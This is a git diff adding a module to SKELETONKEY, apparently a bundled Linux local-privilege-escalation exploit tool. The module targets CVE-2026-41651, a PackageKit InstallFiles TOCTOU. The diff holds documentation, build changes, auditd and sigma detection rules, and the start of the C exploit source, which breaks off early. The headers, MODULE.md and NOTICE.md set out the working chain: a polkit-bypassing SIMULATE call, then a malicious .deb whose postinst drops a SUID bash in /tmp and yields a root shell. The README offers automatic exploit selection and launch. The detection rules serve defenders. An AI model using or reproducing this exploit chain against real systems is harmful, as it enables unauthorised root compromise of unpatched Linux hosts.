diff --git a/CVES.md b/CVES.md index 66dc859..59196c6 100644 --- a/CVES.md +++ b/CVES.md @@ -23,18 +23,28 @@ Status legend: - πŸ”΄ **DEPRECATED** β€” fully patched everywhere relevant; kept for historical reference only -**Counts:** 30 modules total β€” 28 verified (🟒 14 Β· 🟑 14) plus 2 -ported-but-unverified (`dirtydecrypt`, `fragnesia` β€” see note below). -πŸ”΅ 0 Β· βšͺ 0 planned-with-stub Β· πŸ”΄ 0. (One βšͺ row below β€” CVE-2026-31402 -β€” is a *candidate* with no module, not counted as a module.) +**Counts:** 31 modules total β€” 28 verified (🟒 14 Β· 🟑 14) plus 3 +ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` β€” +see note below). πŸ”΅ 0 Β· βšͺ 0 planned-with-stub Β· πŸ”΄ 0. (One βšͺ row +below β€” CVE-2026-31402 β€” is a *candidate* with no module, not counted +as a module.) -> **Note on `dirtydecrypt` / `fragnesia`:** these two are ported from -> public V12 PoCs and are **not yet VM-verified** end-to-end. They are -> listed 🟑 in the table below but are **not** part of the 28-module -> verified corpus β€” they differ from the other 🟑 modules in two ways: -> they are self-contained page-cache writes (no `--full-chain` -> finisher), and their `detect()` is precondition-only because the CVE -> fix commits are not yet pinned. `--auto` will not fire them blind. +> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three +> are ported from public PoCs and are **not yet VM-verified** end-to-end. +> They are listed 🟑 in the table below but are **not** part of the +> 28-module verified corpus. +> +> `pack2theroot`'s `detect()` reads PackageKit's version directly from +> the daemon over D-Bus and compares against the **pinned fix release +> (1.3.5, commit `76cfb675`)** β€” so its verdict is high-confidence, +> grounded in upstream's own version metadata. +> +> `dirtydecrypt` and `fragnesia` are precondition-only β€” their CVE fix +> commits are not yet pinned in the modules, so `detect()` returns +> `PRECOND_FAIL` / `TEST_ERROR` unless `--active` empirically fires the +> primitive against a `/tmp` sentinel. `--auto` auto-enables active +> probes (forked per module so a probe crash cannot tear down the +> scan), which lets all three become candidates on a vulnerable host. > See each module's `MODULE.md`. Every module ships a `NOTICE.md` crediting the original CVE @@ -77,6 +87,7 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟑 | vmwgfx DRM `bo` size-validation gap β†’ OOB write in kmalloc-512. Affects 4.0 ≀ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only β€” fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. | | CVE-2026-31635 | DirtyDecrypt / DirtyCBC β€” rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | duplicate of an already-patched mainline flaw (fix commit not yet pinned) | `dirtydecrypt` | 🟑 | **Ported from the public V12 PoC, not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. `--active` probe fires the primitive at a `/tmp` sentinel. detect() is precondition-only β€” see MODULE.md. x86_64. | | CVE-2026-46300 | Fragnesia β€” XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | distro patches 2026-05-13; mainline fix followed (commit not yet pinned) | `fragnesia` | 🟑 | **Ported from the public V12 PoC, not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised β€” resolved: ships, reports PRECOND_FAIL when the userns gate is closed). PoC's ANSI TUI dropped in the port. x86_64. | +| CVE-2026-41651 | Pack2TheRoot β€” PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon β†’ `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟑 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls β€” first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 β†’ 1.3.4 β€” default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus β†’ high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. | ## Operations supported per module @@ -114,6 +125,7 @@ Symbols: βœ“ = supported, β€” = not applicable / no automated path. | vmwgfx | βœ“ | βœ“ (primitive) | β€” (upgrade kernel) | βœ“ (log unlink) | βœ“ (auditd) | | dirtydecrypt | βœ“ (+ `--active`) | βœ“ (ported) | β€” (upgrade kernel) | βœ“ (evict page cache) | βœ“ (auditd + sigma) | | fragnesia | βœ“ (+ `--active`) | βœ“ (ported) | β€” (upgrade kernel) | βœ“ (evict page cache) | βœ“ (auditd + sigma) | +| pack2theroot | βœ“ (PK version via D-Bus) | βœ“ (ported) | β€” (upgrade PackageKit β‰₯ 1.3.5) | βœ“ (rm /tmp + `dpkg -r`) | βœ“ (auditd + sigma) | ## Pipeline for additions diff --git a/Makefile b/Makefile index f64ffad..3c0aff0 100644 --- a/Makefile +++ b/Makefile @@ -152,17 +152,39 @@ FGN_DIR := modules/fragnesia_cve_2026_46300 FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS)) +# Family: pack2theroot (CVE-2026-41651) β€” PackageKit TOCTOU userspace LPE. +# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`. +# When absent (e.g. no libglib2.0-dev on the build host), the module +# compiles as a stub that returns PRECOND_FAIL with a hint to install +# the dev package and rebuild. +P2TR_DIR := modules/pack2theroot_cve_2026_41651 +P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c +P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS)) + +P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0) +ifeq ($(P2TR_GIO_OK),1) + P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO + P2TR_LIBS := $(shell pkg-config --libs gio-2.0) +else + P2TR_CFLAGS := + P2TR_LIBS := +endif + +# Per-object CFLAGS for the pack2theroot translation unit (GLib include +# paths). Target-specific vars are scoped to this object's recipe. +$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS) + # Top-level dispatcher TOP_OBJ := $(BUILD)/skeletonkey.o -ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) $(DDC_OBJS) $(FGN_OBJS) +ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) .PHONY: all clean debug static help all: $(BIN) $(BIN): $(ALL_OBJS) - $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread + $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) # Generic compile: any .c β†’ corresponding .o under build/ $(BUILD)/%.o: %.c diff --git a/README.md b/README.md index 02702fe..c46e087 100644 --- a/README.md +++ b/README.md @@ -2,11 +2,11 @@ [![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest) [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) -[![Modules](https://img.shields.io/badge/modules-28%20verified%20%2B%202%20ported-brightgreen.svg)](CVES.md) +[![Modules](https://img.shields.io/badge/modules-28%20verified%20%2B%203%20ported-brightgreen.svg)](CVES.md) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) > **One curated binary. 28 verified Linux LPE exploits, 2016 β†’ 2026 -> (+2 ported-but-unverified). Detection rules in the box. One command +> (+3 ported-but-unverified). Detection rules in the box. One command > picks the safest one and runs it.** ```bash @@ -44,14 +44,14 @@ for every CVE in the bundle β€” same project for red and blue teams. ## Corpus at a glance **28 verified modules** spanning the 2016 β†’ 2026 LPE timeline, plus -**2 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia` β€” -see note below): +**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`, +`pack2theroot` β€” see note below): | Tier | Count | What it means | |---|---|---| | 🟒 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. | | 🟑 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets β€” see [`docs/OFFSETS.md`](docs/OFFSETS.md)). | -| βšͺ Ported, unverified | **2** | `dirtydecrypt` + `fragnesia`, ported from public V12 PoCs. Built and registered, but **not yet validated on a vulnerable kernel** β€” `detect()` is precondition-only and `--auto` will not fire them blind. Excluded from the 28-module verified counts above. | +| βšͺ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered, but **not yet validated end-to-end** β€” for the page-cache pair `detect()` is precondition-only; for `pack2theroot` the fix release IS pinned (high-confidence verdict). `--auto` auto-enables `--active` so the probes turn into definitive verdicts on a vulnerable host. Excluded from the 28-module verified counts above. | **🟒 Modules that land root on a vulnerable host:** copy_fail family Γ—5 Β· dirty_pipe Β· dirty_cow Β· pwnkit Β· overlayfs @@ -65,10 +65,14 @@ nf_tables Β· nft_set_uaf Β· nft_fwd_dup Β· nft_payload Β· netfilter_xtcompat Β· stackrot Β· sudo_samedit Β· sequoia Β· vmwgfx **βšͺ Ported-but-unverified (not in the counts above):** -dirtydecrypt (CVE-2026-31635) Β· fragnesia (CVE-2026-46300) β€” ported -from public V12 PoCs, **not yet VM-validated**. Self-contained -page-cache writes (no `--full-chain` finisher); `detect()` is -precondition-only because the CVE fix commits are not yet pinned. +dirtydecrypt (CVE-2026-31635) Β· fragnesia (CVE-2026-46300) Β· +pack2theroot (CVE-2026-41651) β€” ported from public PoCs, **not yet +VM-validated**. The two page-cache writes (dirtydecrypt, fragnesia) +have precondition-only `detect()` because the CVE fix commits are not +yet pinned in the modules. `pack2theroot` is a userspace D-Bus +PackageKit TOCTOU; its fix release (PackageKit 1.3.5, commit +`76cfb675`) is pinned and `detect()` reads the daemon's version over +D-Bus β€” high-confidence verdict. See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and detection status. @@ -106,12 +110,17 @@ $ id uid=1000(kara) gid=1000(kara) groups=1000(kara) $ skeletonkey --auto --i-know -[*] auto: host=demo kernel=5.15.0-56-generic arch=x86_64 -[*] auto: scanning 30 modules for vulnerabilities... +[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64 +[*] auto: active probes enabled β€” brief /tmp file touches and fork-isolated namespace probes +[*] auto: scanning 31 modules for vulnerabilities... [+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: pwnkit VULNERABLE (safety rank 100) +[ ] auto: copy_fail patched or not applicable +[ ] auto: nf_tables precondition not met +... +[*] auto: scan summary β€” 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate [*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100). [*] auto: launching --exploit pwnkit... @@ -172,14 +181,16 @@ also compile (modules with Linux-only headers stub out gracefully). ## Status -**v0.5.0 cut 2026-05-17.** 28 verified modules, plus 2 -ported-but-unverified (`dirtydecrypt`, `fragnesia`) added since the -cut. All 30 build clean on Debian 13 (kernel 6.12) and refuse cleanly -on patched hosts. Empirical end-to-end validation on a -vulnerable-kernel VM matrix is the next roadmap item; until then, the -corpus is best understood as "compiles + detects + structurally -correct + honest on failure" β€” and the two ported modules have not -been run against a vulnerable kernel at all. +**v0.5.0 cut 2026-05-17.** 28 verified modules, plus 3 +ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`) +added since the cut. All 31 build clean on Debian 13 (kernel 6.12) +and refuse cleanly on patched hosts. `--auto` now auto-enables +`--active` and runs each `detect()` in a fork-isolated child so one +crashing probe cannot tear down the scan. Empirical end-to-end +validation on a vulnerable-target VM matrix is the next roadmap item; +until then, the corpus is best understood as "compiles + detects + +structurally correct + honest on failure" β€” and the three ported +modules have not been run against a vulnerable target at all. See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and infrastructure work. diff --git a/ROADMAP.md b/ROADMAP.md index 9bcec49..d76c1e4 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -186,15 +186,39 @@ of the 28-module verified corpus):** is closed. - [x] **CVE-2026-31635** β€” DirtyDecrypt: 🟑 rxgk missing-COW in-place decrypt page-cache write. Ported from the V12 PoC. -- [ ] **Verify both on a vulnerable-kernel VM**, pin the CVE fix - commits, add `kernel_range` tables, and promote 🟑 β†’ 🟒. Until - then `detect()` is precondition-only (no version verdict) and - `--auto` will not fire them blind. +- [x] **CVE-2026-41651** β€” Pack2TheRoot: 🟑 PackageKit `InstallFiles` + TOCTOU. Ported from the public Vozec PoC; original disclosure by + Deutsche Telekom security. Userspace D-Bus LPE with high- + confidence `detect()` β€” reads PackageKit's version directly over + D-Bus and compares against the pinned fix release 1.3.5 (commit + `76cfb675`). Debian-family only (PoC's built-in `.deb` builder). + Adds an optional GLib/GIO build dependency, autodetected via + `pkg-config gio-2.0`; stub-compiles if absent. +- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot) + on a vulnerable target**, pin remaining CVE fix commits, add + version-range tables, and promote 🟑 β†’ 🟒. `--auto` auto-enables + `--active` so the probes give definitive verdicts; each + `detect()` runs in a fork-isolated child so one bad probe + cannot tear down the scan. + +**--auto accuracy work (landed 2026-05-22):** + +- [x] `--auto` auto-enables `--active`: per-module sentinel probes + run in `/tmp` / fork-isolated namespaces, so version-only + checks can no longer be fooled by silent distro backports. +- [x] Per-module verdict table at scan time (VULNERABLE / patched / + precondition / indeterminate) instead of only printing the + `VULNERABLE` rows. +- [x] Scan-end summary line counting each verdict class. +- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`) + printed in the `--auto` banner alongside kernel + arch. +- [x] Fork-isolated `detect()` calls β€” a SIGILL/SIGSEGV in any one + module's probe is contained and the scan continues. Surfaced + while testing entrybleed's `prefetchnta` sweep under emulated + CPUs: exactly the failure mode the isolation now handles. **Carry-overs:** -- [ ] **CVE-2026-41651** β€” Pack2TheRoot (PackageKit daemon userspace - LPE; cross-distro). Candidate β€” userspace LPE in the pwnkit vein. - [ ] Anything we ourselves disclose β€” bundled AFTER upstream patch ships (responsible-disclosure-first) diff --git a/core/registry.h b/core/registry.h index a3c50fd..043b9c8 100644 --- a/core/registry.h +++ b/core/registry.h @@ -46,5 +46,6 @@ void skeletonkey_register_sudoedit_editor(void); void skeletonkey_register_vmwgfx(void); void skeletonkey_register_dirtydecrypt(void); void skeletonkey_register_fragnesia(void); +void skeletonkey_register_pack2theroot(void); #endif /* SKELETONKEY_REGISTRY_H */ diff --git a/docs/index.html b/docs/index.html index 6711230..1992c44 100644 --- a/docs/index.html +++ b/docs/index.html @@ -173,7 +173,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara) $ skeletonkey --auto --i-know [*] auto: host=demo kernel=5.15.0-56-generic arch=x86_64 -[*] auto: scanning 30 modules for vulnerabilities... +[*] auto: scanning 31 modules for vulnerabilities... [+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: pwnkit VULNERABLE (safety rank 100) @@ -242,8 +242,8 @@ uid=0(root) gid=0(root) groups=0(root)

v0.5.0 cut 2026-05-17. 28 verified modules build clean on Debian 13 (kernel 6.12) and refuse cleanly on patched - hosts; 2 further modules (dirtydecrypt, fragnesia) are ported - from public PoCs but not yet VM-verified. + hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot) + are ported from public PoCs but not yet VM-verified. Empirical end-to-end validation on a vulnerable-kernel VM matrix is the next roadmap item; until then, the corpus is best understood as "compiles + detects + structurally correct + diff --git a/modules/pack2theroot_cve_2026_41651/MODULE.md b/modules/pack2theroot_cve_2026_41651/MODULE.md new file mode 100644 index 0000000..c3b9a62 --- /dev/null +++ b/modules/pack2theroot_cve_2026_41651/MODULE.md @@ -0,0 +1,72 @@ +# pack2theroot β€” CVE-2026-41651 + +> 🟑 **PRIMITIVE / ported.** Faithful port of the public Vozec PoC. +> **Not yet validated end-to-end on a vulnerable host** β€” see +> _Verification status_. + +## Summary + +Pack2TheRoot is a userspace LPE in the **PackageKit** daemon +(`packagekitd`), the cross-distro package-management D-Bus abstraction +layer shipped on virtually every desktop and most modern server Linux +distros (Ubuntu, Debian, Fedora, Rocky/RHEL via Cockpit, openSUSE…). + +Three cooperating bugs in `src/pk-transaction.c` chain into a TOCTOU +window between polkit authorisation and dispatch. **The exploit needs +no GUI session, no special permissions, and no polkit prompt** β€” +GLib's D-Bus-vs-idle priority ordering makes it deterministic, not a +timing race. + +``` +1. InstallFiles(SIMULATE, dummy.deb) ← polkit bypassed; idle queued +2. InstallFiles(NONE, payload.deb) ← cached_flags overwritten +3. GLib idle fires β†’ pk_transaction_run() ← reads payload.deb + NONE + β†’ dpkg runs postinst as root β†’ SUID bash β†’ root shell +``` + +The payload `.deb` is built entirely in C inside the module +(ar / ustar / gzip-stored, no external `dpkg-deb` dependency). + +## Operations + +| Op | Behaviour | +|---|---| +| `--scan` | Checks Debian/Ubuntu host, system D-Bus accessible, `org.freedesktop.PackageKit` registered, and reads `VersionMajor/Minor/Micro` from the daemon. Returns VULNERABLE only when the version falls in `1.0.2 ≀ V ≀ 1.3.4`. The fix release (1.3.5, commit `76cfb675`, 2026-04-22) is pinned. | +| `--exploit … --i-know` | Builds the two `.deb`s in `/tmp`, fires the two `InstallFiles` D-Bus calls back-to-back, polls up to 120s for `/tmp/.suid_bash` to appear, then `execv`s it for an interactive root shell. `--no-shell` stops after the SUID bash lands. | +| `--cleanup` | Removes the staged `.deb` files; best-effort `unlink(/tmp/.suid_bash)` (the file is root-owned β€” needs root to remove); best-effort `sudo -n dpkg -r` the installed staging packages. | +| `--detect-rules` | Emits embedded auditd + sigma rules covering the file-side footprint (the D-Bus call itself isn't auditable without bus monitoring). | + +## Preconditions + +- Linux + Debian/Ubuntu (the PoC's built-in `.deb` builder is + Debian-family only; RHEL/Fedora ports would need an `.rpm` builder). +- PackageKit daemon registered on the system bus. +- PackageKit version in `[1.0.2, 1.3.4]`. +- Module built with `libglib2.0-dev` available (the top-level Makefile + autodetects `gio-2.0` via `pkg-config`; the module compiles as a + stub returning `PRECOND_FAIL` when GLib is absent). + +## Side-effect notes + +The exploit installs a malicious `.deb` (registered in dpkg's database +as `skeletonkey-p2tr-payload`) and drops `/tmp/.suid_bash`. Both are +intentionally visible β€” this is an authorised-testing tool, not a +covert toolkit. Run `--cleanup` (preferably as root) before leaving +the host. + +## Verification status + +This module is a **faithful port** of + into the SKELETONKEY module +interface. It has **not** been validated end-to-end against a known- +vulnerable PackageKit host inside the SKELETONKEY CI matrix. + +Unlike the page-cache modules, `detect()` here is high-confidence: +the fix release is officially pinned and the version is read directly +from the daemon over D-Bus, so a `VULNERABLE` verdict is grounded in +upstream's own version metadata rather than a heuristic. + +**Before promoting to 🟒:** validate the trigger end-to-end on a +Debian/Ubuntu host with PackageKit ≀ 1.3.4 (the Vozec repo ships a +Dockerfile that builds PackageKit 1.3.4 from source β€” that is the +recommended bench). diff --git a/modules/pack2theroot_cve_2026_41651/NOTICE.md b/modules/pack2theroot_cve_2026_41651/NOTICE.md new file mode 100644 index 0000000..f5bb33c --- /dev/null +++ b/modules/pack2theroot_cve_2026_41651/NOTICE.md @@ -0,0 +1,53 @@ +# NOTICE β€” pack2theroot + +## Vulnerability + +**CVE-2026-41651** β€” Pack2TheRoot. PackageKit TOCTOU local privilege +escalation in `src/pk-transaction.c`: two cooperating bugs allow +`cached_transaction_flags` and `cached_full_paths` to be overwritten +between polkit authorisation and dispatch, and a third bug causes the +dispatcher to read those cached values at fire time rather than at +authorisation time. GLib's D-Bus-vs-idle priority ordering makes the +overwrite deterministic, not a timing race. + +CVSS 8.1. Affects PackageKit `1.0.2` through `1.3.4` (over a decade +of releases). Fixed in **PackageKit 1.3.5** (upstream commit +`76cfb675`, 2026-04-22). + +## Research credit + +Discovered and disclosed by the **Deutsche Telekom security team**. + +> Telekom advisory: +> Upstream advisory: + +The standalone proof-of-concept exploit the SKELETONKEY module is +ported from is by **Vozec**: + +> Reference PoC: + +The Vozec repository carries no `LICENSE` file at the time of porting; +the SKELETONKEY-distributed `skeletonkey_modules.c` is original +SKELETONKEY-licensed code (MIT) that reproduces the PoC's deb-builder +(ar / ustar / gzip-stored) and D-Bus call sequence. Independent +research credit belongs to the people above. + +A CTF-style lab by **dinosn** (Dockerised PackageKit 1.3.4 build with +the exploit pre-set) is a useful reference bench: + +> CTF lab: + +## SKELETONKEY role + +`skeletonkey_modules.c` wraps the PoC in the standard +`skeletonkey_module` detect / exploit / cleanup interface, adds the +embedded auditd + sigma rules, and reads PackageKit's +`VersionMajor/Minor/Micro` D-Bus properties so `detect()` can give a +high-confidence verdict (the fix release 1.3.5 is officially pinned β€” +no version-fabrication caveat). + +## Verification status + +**Ported, not yet validated end-to-end on a vulnerable host.** See +`MODULE.md` for the recommended verification path (Vozec's Dockerised +PackageKit-1.3.4 bench). diff --git a/modules/pack2theroot_cve_2026_41651/detect/auditd.rules b/modules/pack2theroot_cve_2026_41651/detect/auditd.rules new file mode 100644 index 0000000..222456e --- /dev/null +++ b/modules/pack2theroot_cve_2026_41651/detect/auditd.rules @@ -0,0 +1,28 @@ +# Pack2TheRoot (CVE-2026-41651) β€” auditd detection rules +# +# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls +# install a malicious .deb as root, whose postinst drops a SUID bash +# in /tmp. The D-Bus traffic itself is not auditable without bus +# monitoring (dbus-monitor / dbus-broker logs), so these rules cover +# the file-side footprint. +# +# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or +# skeletonkey --detect-rules --format=auditd | sudo tee \ +# /etc/audit/rules.d/99-skeletonkey.rules + +# The exact SUID payload path the published PoC lands +-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot + +# Any setuid bit set on /tmp/.suid_bash by anyone +-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \ + -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid + +# The PoC drops two .deb files in /tmp immediately before the install +-a always,exit -F arch=b64 -S openat,creat \ + -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb + +# packagekitd-driven dpkg/apt activity initiated by a non-root caller +-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \ + -F auid!=0 -k skeletonkey-pack2theroot-dpkg +-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \ + -F auid!=0 -k skeletonkey-pack2theroot-apt diff --git a/modules/pack2theroot_cve_2026_41651/detect/sigma.yml b/modules/pack2theroot_cve_2026_41651/detect/sigma.yml new file mode 100644 index 0000000..dd0013c --- /dev/null +++ b/modules/pack2theroot_cve_2026_41651/detect/sigma.yml @@ -0,0 +1,32 @@ +title: Possible Pack2TheRoot exploitation (CVE-2026-41651) +id: 3f2b8d54-skeletonkey-pack2theroot +status: experimental +description: | + Detects the file-side footprint of Pack2TheRoot (CVE-2026-41651): a + non-root user triggers PackageKit InstallFiles, dpkg runs a postinst + that drops /tmp/.suid_bash (a setuid bash), and a privileged shell + follows. The trigger itself is two back-to-back D-Bus calls with no + polkit prompt β€” only visible via dbus-monitor or the file side + effects flagged below. +references: + - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html + - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv + - https://github.com/Vozec/CVE-2026-41651 +logsource: + product: linux + service: auditd +detection: + suid_drop: + type: 'PATH' + name|startswith: + - '/tmp/.suid_bash' + - '/tmp/.pk-payload-' + - '/tmp/.pk-dummy-' + not_root: + auid|expression: '!= 0' + condition: suid_drop and not_root +level: high +tags: + - attack.privilege_escalation + - attack.t1068 + - cve.2026.41651 diff --git a/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.c b/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.c new file mode 100644 index 0000000..d0bd9a3 --- /dev/null +++ b/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.c @@ -0,0 +1,696 @@ +/* + * pack2theroot_cve_2026_41651 β€” SKELETONKEY module + * + * Pack2TheRoot (CVE-2026-41651) β€” PackageKit TOCTOU LPE. + * + * Three cooperating bugs in PackageKit's `src/pk-transaction.c`: + * BUG 1 InstallFiles() stores cached_transaction_flags and + * cached_full_paths unconditionally, with no state guard. + * BUG 2 pk_transaction_set_state() silently rejects backward + * transitions (READY β†’ WAITING_FOR_AUTH). + * BUG 3 pk_transaction_run() reads the cached flags at dispatch + * time, not at authorisation time. + * BYPASS The SIMULATE flag skips polkit entirely. + * + * Two back-to-back async D-Bus InstallFiles() calls β€” first with + * SIMULATE (bypasses polkit, queues a GLib idle callback), then + * immediately with NONE + the malicious .deb (overwrites the cached + * flags/paths before the idle fires). GLib priority ordering makes + * this deterministic, not a timing race. postinst of the malicious + * .deb installs a SUID bash at /tmp/.suid_bash β†’ root shell. + * + * This module is a faithful port of the public PoC by Vozec + * (github.com/Vozec/CVE-2026-41651); the deb-builder helpers + * (CRC-32, gzip-stored, tar entry, ar entry, build_deb) and the + * D-Bus call sequence are reproduced from that PoC. The original + * disclosure was by the Deutsche Telekom security team. See + * NOTICE.md. + * + * Build adaptation: the module requires GLib/GIO for D-Bus. The + * top-level Makefile autodetects gio-2.0 via pkg-config and defines + * PACK2TR_HAVE_GIO when present. When absent, the module compiles as + * a stub that returns PRECOND_FAIL with a build-time hint. + * + * Port adaptations vs. the standalone PoC: + * - wrapped in the skeletonkey_module detect/exploit/cleanup interface + * - exploit() runs the PoC body in a forked child so the PoC's + * die()/exit() paths cannot tear down the skeletonkey dispatcher + * - detect() does a passive precondition + version check (vulnerable + * range 1.0.2 ≀ V ≀ 1.3.4, fixed in 1.3.5) β€” no version-only + * fabrication; the fix release is officially pinned + * - honours ctx->no_shell (build + fire the TOCTOU, do not spawn + * the SUID bash shell) + * - cleanup() removes the two /tmp .debs and best-effort-unlinks + * /tmp/.suid_bash (which requires root since it is owned by root) + * + * VERIFICATION STATUS: ported, NOT yet validated end-to-end on a + * vulnerable PackageKit (1.3.4 or earlier) host. The fix release + * (1.3.5, commit 76cfb675, 2026-04-22) IS pinned. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" + +#include +#include +#include +#include +#include + +#if defined(__linux__) && defined(PACK2TR_HAVE_GIO) + +/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level + * Makefile; do not redefine here. */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ── config ────────────────────────────────────────────────────────── */ +#define SUID_PATH "/tmp/.suid_bash" +#define PK_BUS "org.freedesktop.PackageKit" +#define PK_OBJ "/org/freedesktop/PackageKit" +#define PK_IFACE "org.freedesktop.PackageKit" +#define PK_TX_IFACE "org.freedesktop.PackageKit.Transaction" +#define FLAG_NONE ((guint64)0) +#define FLAG_SIMULATE ((guint64)(1u << 2)) /* SIMULATE bypasses polkit */ + +/* Vulnerable range: PackageKit 1.0.2 ≀ V ≀ 1.3.4. Fixed in 1.3.5. */ +#define P2TR_VER(M,m,p) ((M)*10000 + (m)*100 + (p)) +#define P2TR_VER_LO P2TR_VER(1,0,2) +#define P2TR_VER_HI P2TR_VER(1,3,4) + +static int p2tr_verbose = 1; +#define LOG(fmt, ...) do { if (p2tr_verbose) \ + fprintf(stderr, "[*] pack2theroot: " fmt "\n", ##__VA_ARGS__); } while (0) +#define ERR(fmt, ...) fprintf(stderr, "[-] pack2theroot: " fmt "\n", ##__VA_ARGS__) + +/* ── CRC-32 (ISO 3309) β€” verbatim from V12 PoC ─────────────────────── */ +static uint32_t crc_tab[256]; +static void crc_init(void) +{ + for (unsigned i = 0; i < 256; 